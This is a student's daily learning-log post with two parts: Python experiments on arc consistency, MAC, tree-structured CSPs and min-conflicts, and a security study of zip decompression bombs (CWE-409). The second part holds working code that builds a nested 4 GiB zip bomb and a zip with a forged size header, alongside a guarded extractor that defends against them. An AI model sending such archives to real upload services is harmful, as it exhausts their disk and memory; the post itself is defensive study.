|
Última actualización: 2026-12-02
DAY 034 OF 1600 · 2026-11-10 Day 034 — AC-3 kept every value on three instances with zero solutionsA student's private learning log · one concept at a time. Date: 2026-11-10 · Day: 34 of 1600 Log: a student's private learning log · one concept at a time. --- Concept #34 — A pruner that keeps everything, and the graph shape that makes it completeMA08, Intelligent Search, week 5. Week 4 built the model: variables, domains, constraints, and depth-first assignment over them. Week 5 asks what can be taken out of the search before it starts. The slides name three levers: prune the domains, repair a complete assignment, exploit the shape of the constraint graph. The pruning lever is the one that gets treated as a certificate. REVISE(X, Y) deletes every value of X that has no compatible value in Y. AC-3 puts all arcs in a queue, revises them, and re-enqueues the neighbours of any variable whose domain shrank, until the queue empties or a domain does. If it ends with every domain non-empty, the CSP is arc-consistent. That is the entire guarantee. Arc-consistent is not satisfiable — the slides say it twice, in two different places — so I built the smallest set of instances where I could count the gap by brute force. All four use one constraint (two neighbours must differ), so what changes between rows is the graph, not the constraint language. What I tried today: one file, stdlib only, no network. A generic AC-3 over a queue, a backtracking solver with three inference modes, a tree solver that never searches, and min-conflicts with and without the escape move. Four small instances I could enumerate exhaustively, one unsatisfiable tree, and one 12-node tree. """Day 34 concept: what arc consistency proves, and what a tree lets you skip. One file, stdlib only, no network. Every number printed below came from this run. Every constraint here is the same one -- two neighbours must differ -- so what changes between the instances is structure, never the constraint language. """ import random from collections import deque class CSP: def __init__(self, variables, domains, edges): self.vars = list(variables) self.dom0 = {v: list(domains[v]) for v in self.vars} self.nb = {v: [] for v in self.vars} for a, b in edges: self.nb[a].append(b) self.nb[b].append(a) def ok(self, a, x, b, y): return x != y # "different value" is the whole constraint language today def php(pigeons, holes): """Pigeonhole: any two pigeons need different holes. Complete graph.""" vs = ["p%d" % i for i in range(pigeons)] edges = [(a, b) for i, a in enumerate(vs) for b in vs[i + 1:]] return CSP(vs, {v: list(range(holes)) for v in vs}, edges) def ring(n, col): vs = ["r%d" % i for i in range(n)] return CSP(vs, {v: list(range(col)) for v in vs}, [(vs[i], vs[(i + 1) % n]) for i in range(n)]) def tree12(col): """12 nodes: path t0..t7, leaves t8,t9 on t3, leaves t10,t11 on t6. 11 edges.""" vs = ["t%d" % i for i in range(12)] edges = [(vs[i], vs[i + 1]) for i in range(7)] edges += [(vs[3], "t8"), (vs[3], "t9"), (vs[6], "t10"), (vs[6], "t11")] return CSP(vs, {v: list(range(col)) for v in vs}, edges) def ac3(csp, dom): """Queue-based arc consistency (AIMA REVISE + queue). Returns (ok, arcs, pruned).""" q = deque((a, b) for a in csp.vars for b in csp.nb[a]) arcs = pruned = 0 while q: xi, xj = q.popleft() arcs += 1 keep = [x for x in dom[xi] if any(csp.ok(xi, x, xj, y) for y in dom[xj])] if len(keep) != len(dom[xi]): pruned += len(dom[xi]) - len(keep) dom[xi] = keep if not keep: return False, arcs, pruned q.extend((xk, xi) for xk in csp.nb[xi] if xk != xj) return True, arcs, pruned def backtrack(csp, mode="plain"): """Depth-first assignment. mode: plain | fc | mac. The counters are the evidence.""" vs = list(csp.vars) dom = {v: list(csp.dom0[v]) for v in csp.vars} st = {"tried": 0, "rollbacks": 0} assign = {} def bt(): if len(assign) == len(vs): return True v = next(u for u in vs if u not in assign) for x in list(dom[v]): if any(u in assign and not csp.ok(v, x, u, assign[u]) for u in csp.nb[v]): continue st["tried"] += 1 snap = {u: list(d) for u, d in dom.items()} assign[v] = x dom[v] = [x] good = True for u in csp.nb[v]: if u in assign: continue if mode in ("fc", "mac"): keep = [y for y in dom[u] if csp.ok(u, y, v, x)] dom[u] = keep if not keep: good = False break if good and mode == "mac": good, _, _ = ac3(csp, dom) if good and bt(): return True dom.clear() dom.update({u: list(d) for u, d in snap.items()}) del assign[v] st["rollbacks"] += 1 return False bt() return st def brute_solutions(csp): """Only for small instances: full enumeration, no cleverness.""" total = 1 for v in csp.vars: total *= len(csp.dom0[v]) n = 0 for code in range(total): pick, rest = {}, code for v in csp.vars: d = csp.dom0[v] pick[v] = d[rest % len(d)] rest //= len(d) if all(pick[a] != pick[b] for a in csp.vars for b in csp.nb[a] if a < b): n += 1 return n, total def is_tree(csp): """Connected and exactly |V| - 1 undirected edges -- the test from the lab.""" edges = {tuple(sorted((a, b))) for a in csp.vars for b in csp.nb[a] if a != b} if len(edges) != len(csp.vars) - 1: return False seen = {csp.vars[0]} q = deque([csp.vars[0]]) while q: u = q.popleft() for w in csp.nb[u]: if w not in seen: seen.add(w) q.append(w) return len(seen) == len(csp.vars) def solve_tree(csp): """Tree theorem: one AC-3 call, then one downward walk. No search at all. On a tree, AC-3 is complete: it either empties a domain (unsatisfiable) or makes every value of a node supported by a value of each neighbour, so the child always still holds a value that agrees with the parent's choice. """ dom = {v: list(csp.dom0[v]) for v in csp.vars} ok, arcs, pruned = ac3(csp, dom) if not ok: return None, pruned, arcs, 0 root = csp.vars[0] parent, order = {root: None}, [] q = deque([root]) while q: u = q.popleft() order.append(u) for w in csp.nb[u]: if w not in parent: parent[w] = u q.append(w) assign = {root: dom[root][0]} steps = 1 for u in order[1:]: p = parent[u] assign[u] = next(x for x in dom[u] if csp.ok(u, x, p, assign[p])) steps += 1 return assign, pruned, arcs, steps def min_conflicts(csp, steps=2000, seed=34, walk=0.2): """Repair-based local search, with the escape move the slides ask for.""" rng = random.Random(seed) val = {v: rng.choice(csp.dom0[v]) for v in csp.vars} def bad(v): return sum(1 for u in csp.nb[v] if val[u] == val[v]) for s in range(1, steps + 1): broken = [v for v in csp.vars if bad(v)] if not broken: return s - 1, 0, True v = rng.choice(broken) if rng.random() < walk: val[v] = rng.choice(csp.dom0[v]) else: val[v] = min(csp.dom0[v], key=lambda x: sum(1 for u in csp.nb[v] if val[u] == x)) return steps, sum(1 for v in csp.vars if bad(v)), False print("AC-3 ALONE, ON FOUR INSTANCES WHERE IT IS ASKED TO BE A CERTIFICATE") print("%-27s %4s %3s %4s %7s %5s %s" % ("instance", "vars", "dom", "AC3", "pruned", "arcs", "solutions (brute force)")) instances = [("php 4 pigeons / 3 holes", php(4, 3)), ("php 5 pigeons / 4 holes", php(5, 4)), ("ring C8 / 2 colours", ring(8, 2)), ("ring C9 / 2 colours", ring(9, 2))] for name, c in instances: ok, arcs, pruned = ac3(c, {v: list(c.dom0[v]) for v in c.vars}) sol, total = brute_solutions(c) print("%-27s %4d %3d %4s %7d %5d %d of %d" % (name, len(c.vars), len(c.dom0[c.vars[0]]), "yes" if ok else "NO", pruned, arcs, sol, total)) print() print("C8 and C9 end with the identical domains {0,1}^n and neither loses a value.") print("One has 2 solutions, the other 0: a test that only reads the domains") print("cannot tell an even cycle from an odd one. Local support is not a proof.") print() print("WHAT SEARCH COSTS WHEN THE CERTIFICATE IS USELESS") print("%-34s %8s %10s" % ("method", "tried", "rollbacks")) for label, c in (("php 5 pigeons / 4 holes", php(5, 4)), ("ring C9 / 2 colours", ring(9, 2))): for mode in ("plain", "fc", "mac"): st = backtrack(c, mode) print("%-34s %8d %10d" % (label + " + " + mode, st["tried"], st["rollbacks"])) print() print("STRUCTURE: THE SAME AC-3 CALL, ONE GRAPH THAT IS A TREE AND ONE THAT IS NOT") t = tree12(3) assign, tpruned, tarcs, steps = solve_tree(t) valid = assign is not None and all(assign[a] != assign[b] for a in t.vars for b in t.nb[a] if a < b) print("tree, 12 nodes / 3 colours: is_tree=%s AC3=yes pruned=%d arcs=%d" % (is_tree(t), tpruned, tarcs)) print(" solved by AC-3 + one downward walk: assignments=%d rollbacks=0 valid=%s" % (steps, valid)) leaves = ["a0", "a1", "a2"] unsat_tree = CSP(["hub"] + leaves, {"hub": [0, 1], "a0": [0], "a1": [1], "a2": [0, 1, 2]}, [("hub", l) for l in leaves]) ok, arcs, pruned = ac3(unsat_tree, {v: list(unsat_tree.dom0[v]) for v in unsat_tree.vars}) print("tree, 4 nodes / hub on {0,1} with two pinned leaves: is_tree=%s" % is_tree(unsat_tree)) print(" AC-3 verdict=%s after %d arcs, pruned=%d, value attempts=0" % ("NO" if not ok else "yes", arcs, pruned)) print(" truth: hub=0 clashes with a0, hub=1 clashes with a1 -> 0 solutions, proven by AC-3") cut = ["r%d" % i for i in range(8)] path = CSP(cut, {v: [0, 1] for v in cut}, [(cut[i], cut[i + 1]) for i in range(7)]) print("ring C9 minus one node = path of 8: is_tree=%s (ring C9 itself: is_tree=%s)" % (is_tree(path), is_tree(ring(9, 2)))) print() print("LOCAL SEARCH: COMPLETE PROBLEM OR NOT") for label, c, w in (("ring C8 / 2 colours, no escape", ring(8, 2), 0.0), ("ring C8 / 2 colours, 20% walk", ring(8, 2), 0.2), ("ring C9 / 2 colours, 20% walk", ring(9, 2), 0.2)): used, left, found = min_conflicts(c, walk=w) print("min-conflicts %-31s steps=%-5d conflicts left=%-2d solved=%s" % (label + ":", used, left, found)) Real output: AC-3 ALONE, ON FOUR INSTANCES WHERE IT IS ASKED TO BE A CERTIFICATE instance vars dom AC3 pruned arcs solutions (brute force) php 4 pigeons / 3 holes 4 3 yes 0 12 0 of 81 php 5 pigeons / 4 holes 5 4 yes 0 20 0 of 1024 ring C8 / 2 colours 8 2 yes 0 16 2 of 256 ring C9 / 2 colours 9 2 yes 0 18 0 of 512 C8 and C9 end with the identical domains {0,1}^n and neither loses a value. One has 2 solutions, the other 0: a test that only reads the domains cannot tell an even cycle from an odd one. Local support is not a proof. WHAT SEARCH COSTS WHEN THE CERTIFICATE IS USELESS method tried rollbacks php 5 pigeons / 4 holes + plain 64 64 php 5 pigeons / 4 holes + fc 64 64 php 5 pigeons / 4 holes + mac 40 40 ring C9 / 2 colours + plain 16 16 ring C9 / 2 colours + fc 16 16 ring C9 / 2 colours + mac 2 2 STRUCTURE: THE SAME AC-3 CALL, ONE GRAPH THAT IS A TREE AND ONE THAT IS NOT tree, 12 nodes / 3 colours: is_tree=True AC3=yes pruned=0 arcs=22 solved by AC-3 + one downward walk: assignments=12 rollbacks=0 valid=True tree, 4 nodes / hub on {0,1} with two pinned leaves: is_tree=True AC-3 verdict=NO after 2 arcs, pruned=2, value attempts=0 truth: hub=0 clashes with a0, hub=1 clashes with a1 -> 0 solutions, proven by AC-3 ring C9 minus one node = path of 8: is_tree=True (ring C9 itself: is_tree=False) LOCAL SEARCH: COMPLETE PROBLEM OR NOT min-conflicts ring C8 / 2 colours, no escape: steps=2000 conflicts left=4 solved=False min-conflicts ring C8 / 2 colours, 20% walk: steps=49 conflicts left=0 solved=True min-conflicts ring C9 / 2 colours, 20% walk: steps=2000 conflicts left=2 solved=False A column of zeros, three times, on instances with no solution at all: 4 pigeons into 3 holes, 5 into 4, and a 9-node cycle with 2 colours. AC-3 revised 12, 20 and 18 arcs, found support for every single value, and returned success. The brute-force column is the truth: 0, 0, 0. The pair worth reading twice is rows three and four. C8 and C9 end with the identical domains — {0,1} on every variable, not one value removed — and one has 2 solutions while the other has 0. Any check that reads only the output of AC-3 cannot tell an even cycle from an odd one. Not "does not usually": cannot. The information is not in the domains. The proof is three lines long: on a 2-coloured cycle every value is supported by the neighbour on either side, and the parity only becomes a contradiction when the last assignment closes the loop — which is exactly the structure support checking does not see. So the certificate is worthless where it is needed most, and the next question is what the truth costs. Two things surprised me: Forward checking is identical to plain backtracking here, to the digit — 64 and 64 on the pigeonhole instance, 16 and 16 on the odd cycle. On a complete graph with a single "different value" constraint, FC's pruning removes precisely the values the consistency check would have rejected one step later, so it does the same work under a different name. FC earns its keep when the constraint is tighter than the domain; here it is not. MAC is not FC with a new label. It is the same AC-3, called after each assignment instead of once at the start, and that is where the attempts went: 64 → 40, and 16 → 2. Static AC-3 pruned nothing; AC-3 maintained during the search pruned the whole branch in two nodes. That is the lesson of the week, and it is the opposite of what I assumed: the strength was never in AC-3's output, it was in when AC-3 runs. The third lever changes the asymptotics. A 12-node tree, 3 colours: AC-3 finishes arc-consistent having pruned nothing (a tree is always 2-colourable under a "different value" constraint, so there is nothing to prune), and then the assignment is a walk — root takes its first value, each node downward picks a value that agrees with its parent. 12 assignments, 0 rollbacks, and next(...) never raised, because arc consistency on a tree means every value of a parent is supported by a value that survives in the child, so the child can always follow. No choice points to undo. The same call on an unsatisfiable tree gives a verdict with zero search: hub on {0,1} , two leaves pinned at 0 and 1, a third free. AC-3 empties the hub after 2 arcs, 0 value attempts. On a tree arc consistency is complete; on the 9-cycle it was not; the difference between those two graphs is one cycle. That is why "ring minus one node" — a path of 8, is_tree=True — is the standard repair for almost-a-tree: cut the cycle, enumerate the cut variable, and every branch is a tree you solve without search. Ring C9 has treewidth 2; the pigeonhole instance is a complete graph, treewidth n−1, and no decomposition will save it. That is the honest boundary of this lever. Min-conflicts is the fourth lever and the only one with no guarantee. Start complete, pick a conflicted variable, move it to the value with the fewest conflicts. On C8, where 2 solutions exist out of 256, a purely greedy run ended after 2000 steps with 4 conflicts and no solution — the plateau where every move leaves the count identical. Adding the escape move the slides ask for (a 20% chance of picking a random value) solved it in 49 steps. On C9 there is nothing to find and it never converged: 2000 steps, 2 conflicts left. Fast, memory-light, and unable to prove a negative — the exact trade against backtracking. What I understood from it: arc consistency is a statement about pairs; satisfiability is a statement about the whole graph. On trees the two coincide — that is a theorem, not a habit, and it is why acyclic structure is worth hunting for. Everywhere else AC-3 buys pruning and nothing more, and the honest way to measure a pruner is not how many values it deletes at the start but how much search it deletes while the search is running. This morning I had those two backwards. --- Security #34 — The upload that is 2,694 bytes and declares four gigabytesCWE-409, decompression bomb. The defect is not a memory-safety bug; it is a number the receiver agrees to trust. A zip's central directory states, for every member, how many bytes it will produce. Zeros compress to about a thousandth of their size, so 2.7 KB of nested archives can declare four gigabytes — and the declaration is not a lie, which is what makes it work: an extractor that honours it writes all four gigabytes. What survives the usual checks is nesting. A single archive with a 1000:1 ratio is easy to flag. Four levels of four members each: the file an upload endpoint sees is 2,694 bytes, its top level declares 8,584 bytes across 4 members — a ratio of 3:1 that passes any plausible limit, because the compression only shows up at the bottom. The pattern I studied: a recursive extractor that carries no counter — every member's declared size is read, trusted, and turned into writes. def inflate_all(zbytes, budget=None): """What an extractor with no limit would write. Output is discarded, only counted.""" z = zipfile.ZipFile(io.BytesIO(zbytes)) nbytes = nfiles = 0 for info in z.infolist(): if info.filename.lower().endswith(".zip"): b, f, stopped = inflate_all(z.read(info), budget) I built it in /tmp , four levels, sixteen megabytes of zeros per leaf, then walked it three ways: read the central directories only, inflated the whole thing into a sink that counts and throws the bytes away, and ran a guarded extractor that audits before it opens anything. """Day 34 security: an archive bomb that looks like a 4 MiB upload (CWE-409). Built, measured and defused inside /tmp. Nothing here touches a network, a real service or a real archive: every byte is generated by this script. Deterministic output: same bytes, same numbers, every run. """ import io import os import shutil import struct import zipfile import zlib WORK = "/tmp/day034/bomb" LEAF = 16 * 1024 * 1024 # 16 MiB of zeros per payload file FAN = 4 # members per level LEVELS = 4 # nested archives, as in the classic 42.zip BUDGET = 64 * 1024 * 1024 # what a sane extractor should allow MAXFILES = 64 def make_zip(entries): """Fixed timestamps and attributes: the same entries must give the same bytes.""" buf = io.BytesIO() with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z: for name, data in entries: zi = zipfile.ZipInfo(name, date_time=(2026, 11, 10, 0, 0, 0)) zi.compress_type = zipfile.ZIP_DEFLATED zi.external_attr = 0o600 << 16 z.writestr(zi, data, compress_type=zipfile.ZIP_DEFLATED, compresslevel=9) return buf.getvalue() shutil.rmtree(WORK, ignore_errors=True) os.makedirs(WORK) layer = make_zip([("payload%d.bin" % i, b"\x00" * LEAF) for i in range(FAN)]) for lvl in range(2, LEVELS + 1): layer = make_zip([("part%d.zip" % i, layer) for i in range(FAN)]) top_path = os.path.join(WORK, "upload.zip") with open(top_path, "wb") as f: f.write(layer) disk = os.path.getsize(top_path) print("built: %s" % top_path) print(" on disk: %d B levels: %d members per level: %d" % (disk, LEVELS, FAN)) zf = zipfile.ZipFile(top_path) members = zf.infolist() declared_here = sum(m.file_size for m in members) print(" what a reader sees at the top: %d members, %d B declared, ratio %d:%d" % (len(members), declared_here, declared_here // disk, 1)) print(" the file is an upload any size check would wave through.") def declared_total(zbytes, depth=0): """Read central directories only. Inflates inner zips, never a payload.""" z = zipfile.ZipFile(io.BytesIO(zbytes)) total = files = deepest = 0 for info in z.infolist(): if info.filename.lower().endswith(".zip"): inner_bytes, inner_files, inner_depth = declared_total(z.read(info), depth + 1) total += inner_bytes files += inner_files deepest = max(deepest, inner_depth) else: total += info.file_size files += 1 deepest = max(deepest, depth) return total, files, deepest total, files, deepest = declared_total(layer) print(" recursive declared total, no payload inflated: %d B (%.2f GiB), %d files, depth %d" % (total, total / (1024 ** 3), files, deepest)) print(" ratio against the file on disk: %.0f:1" % (total / disk)) def per_level_ratio(zbytes, depth=1): """The check people actually write: declared / compressed, per archive.""" z = zipfile.ZipFile(io.BytesIO(zbytes)) declared = sum(i.file_size for i in z.infolist()) print(" level %d: %d B on disk -> %d B declared, ratio %.0f:1" % (depth, len(zbytes), declared, declared / len(zbytes))) for info in z.infolist(): if info.filename.lower().endswith(".zip"): per_level_ratio(z.read(info), depth + 1) break # every branch is identical; one is the whole story print(" the same archive, checked one level at a time:") per_level_ratio(layer) def inflate_all(zbytes, budget=None): """What an extractor with no limit would write. Output is discarded, only counted.""" z = zipfile.ZipFile(io.BytesIO(zbytes)) nbytes = nfiles = 0 for info in z.infolist(): if info.filename.lower().endswith(".zip"): b, f, stopped = inflate_all(z.read(info), budget) nbytes += b nfiles += f if stopped: return nbytes, nfiles, True else: with z.open(info) as fh: while True: chunk = fh.read(1 << 20) if not chunk: break nbytes += len(chunk) if budget is not None and nbytes >= budget: return nbytes, nfiles + 1, True nfiles += 1 return nbytes, nfiles, False written, files_written, _ = inflate_all(layer) print() print("full inflate, output counted and thrown away: %d B (%.2f GiB) from %d files" % (written, written / (1024 ** 3), files_written)) print(" the headers were honest. nothing here is a guess.") def guarded_extract(zbytes, budget=BUDGET, maxfiles=MAXFILES): """Audit first: cost is the size of the archive, not the size of the bomb.""" try: total, files, _ = declared_total(zbytes) except (zipfile.BadZipFile, OSError): return "reject", "unreadable archive", 0 if total > budget: return "reject", "%d B declared > %d B budget" % (total, budget), 0 if files > maxfiles: return "reject", "%d files > %d" % (files, maxfiles), 0 n = 0 z = zipfile.ZipFile(io.BytesIO(zbytes)) for info in z.infolist(): with z.open(info) as fh: while True: chunk = fh.read(1 << 20) if not chunk: break n += len(chunk) if n > budget: # the header can lie; the byte count cannot return "reject", "stream exceeded budget at %d B" % n, n return "accept", "total %d B" % n, n verdict, why, produced = guarded_extract(layer) print() print("guarded extractor on the bomb: %s (%s), payload bytes produced: %d" % (verdict, why, produced)) capped, capped_files, stopped = inflate_all(layer, budget=BUDGET) print("no audit, only a running byte cap: stopped at %d B after %d files" % (capped, capped_files)) legit_text = b"line of a normal report\n" * 80000 # ~1.8 MiB legit = make_zip([("notes.txt", legit_text)]) verdict, why, produced = guarded_extract(legit) print("guarded extractor on a normal 2 MiB archive: %s (%s)" % (verdict, why)) def forged_member(): """A 1147-byte zip whose header says 100 B and whose stream carries 1 MiB.""" data = b"\x00" * (1 << 20) co = zlib.compressobj(9, zlib.DEFLATED, -15) comp = co.compress(data) + co.flush() name = b"note.txt" lie = 100 crc = zlib.crc32(data[:lie]) & 0xFFFFFFFF lh = struct.pack("<4s5H3I2H", b"PK\x03\x04", 20, 0, 8, 0, 0, crc, len(comp), lie, len(name), 0) + name body = lh + comp cd = struct.pack("<4s6H3I5H2I", b"PK\x01\x02", 20, 20, 0, 8, 0, 0, crc, len(comp), lie, len(name), 0, 0, 0, 0, 0, 0) + name eocd = struct.pack("<4s4H2IH", b"PK\x05\x06", 0, 0, 1, 1, len(cd), len(body), 0) return body + cd + eocd, comp blob, comp = forged_member() z = zipfile.ZipFile(io.BytesIO(blob)) info = z.infolist()[0] trusting = z.read(info) raw = zlib.decompress(comp, -15) print() print("forged header: archive %d B, central directory declares %d B" % (len(blob), info.file_size)) print(" reader that trusts the header: %d B, no error, crc passes" % len(trusting)) print(" reader that inflates the stream: %d B" % len(raw)) print(" two readers, one archive, %d:1 apart. The declared size is a claim, not a fact." % (len(raw) // len(trusting))) Real output: built: /tmp/day034/bomb/upload.zip on disk: 2694 B levels: 4 members per level: 4 what a reader sees at the top: 4 members, 8584 B declared, ratio 3:1 the file is an upload any size check would wave through. recursive declared total, no payload inflated: 4294967296 B (4.00 GiB), 256 files, depth 3 ratio against the file on disk: 1594271:1 the same archive, checked one level at a time: level 1: 2694 B on disk -> 8584 B declared, ratio 3:1 level 2: 2146 B on disk -> 6920 B declared, ratio 3:1 level 3: 1730 B on disk -> 262648 B declared, ratio 152:1 level 4: 65662 B on disk -> 67108864 B declared, ratio 1022:1 full inflate, output counted and thrown away: 4294967296 B (4.00 GiB) from 256 files the headers were honest. nothing here is a guess. guarded extractor on the bomb: reject (4294967296 B declared > 67108864 B budget), payload bytes produced: 0 no audit, only a running byte cap: stopped at 67108864 B after 4 files guarded extractor on a normal 2 MiB archive: accept (total 1920000 B) forged header: archive 1147 B, central directory declares 100 B reader that trusts the header: 100 B, no error, crc passes reader that inflates the stream: 1048576 B two readers, one archive, 10485:1 apart. The declared size is a claim, not a fact. The numbers are the whole argument: 2,694 bytes on disk, 4,294,967,296 bytes declared, and — when I actually inflated all of it — 4,294,967,296 bytes produced from 256 files. 1,594,271:1 end to end, honest headers, nothing rounded. The per-level breakdown shows where the check people actually write fails: 3:1 at the top, 3:1 at level two, and the 1022:1 that gives the game away only appears at level four, which no top-level size or ratio check ever opens. The second measurement is the one that changed how I think about the class. Sizes in a zip are written by whoever built the zip. A 1,147-byte archive whose central directory says 100 bytes: the reader that trusts the header — which is what the standard library does — returns 100 bytes, the CRC passes, no error. A reader that inflates the compressed stream gets 1,048,576 bytes out of the same member. Two readers, one file, 10,485 times apart. "Check the declared size before extracting" is therefore not a defence: it is asking the attacker how big their file is. What I understood about preventing it: audit the whole tree before touching it — declared total, file count, depth, and a cap on the depth — because the audit costs the size of the archive (2,694 bytes here) while the extraction costs what the archive claims. Then, because the header can lie, count the bytes as they come out, with one cumulative budget across the whole tree instead of a budget per file. def guarded_extract(zbytes, budget=BUDGET, maxfiles=MAXFILES): """Audit first: cost is the size of the archive, not the size of the bomb.""" try: total, files, _ = declared_total(zbytes) except (zipfile.BadZipFile, OSError): return "reject", "unreadable archive", 0 if total > budget: return "reject", "%d B declared > %d B budget" % (total, budget), 0 if files > maxfiles: return "reject", "%d files > %d" % (files, maxfiles), 0 n = 0 z = zipfile.ZipFile(io.BytesIO(zbytes)) for info in z.infolist(): with z.open(info) as fh: while True: chunk = fh.read(1 << 20) if not chunk: break n += len(chunk) if n > budget: # the header can lie; the byte count cannot return "reject", "stream exceeded budget at %d B" % n, n Measured: the audit refused the bomb with 0 payload bytes inflated and 0 files written; the running cap alone stopped at 67,108,864 bytes after 4 files — a quarter of one percent of the payload, and already 4 files on disk. The same guard accepted a normal 1,920,000-byte archive. The limits of what I built, honestly: my audit inflates the inner zips to read their directories, so it is bounded by the compressed size of the archive, not by nothing — a 2.7 KB bomb is cheap to audit, a 200 MB bomb of bombs is not. And a byte cap stops the inflation, not the extractor: whatever it already wrote is on disk, which is why the extraction directory needs to be disposable and quota-limited, not just the stream watched. --- Day 34 notesConcept #34: code ran, output above — four instances, 0 values pruned, and 3 of 4 with no solution at all. ✔ Security #34: bomb built, measured and defused in /tmp only; 4,294,967,296 bytes inflated to a counting sink, 0 bytes written to any extractor. ✔ Two things I had wrong this morning: I assumed FC would equal MAC (it equals plain backtracking here), and I assumed AC-3's value was in its output (it is in when it runs). ✔ 1566 days left. One at a time. Written by my own daily machine, checked by me. · Day 034 of 1600 · Matías Rathgeb [ inicio ] [ proyectos ] [ posts ] [ daylog ] Página estática. Sin cookies, sin javascript, sin fuentes externas. Contacto: ver inicio. |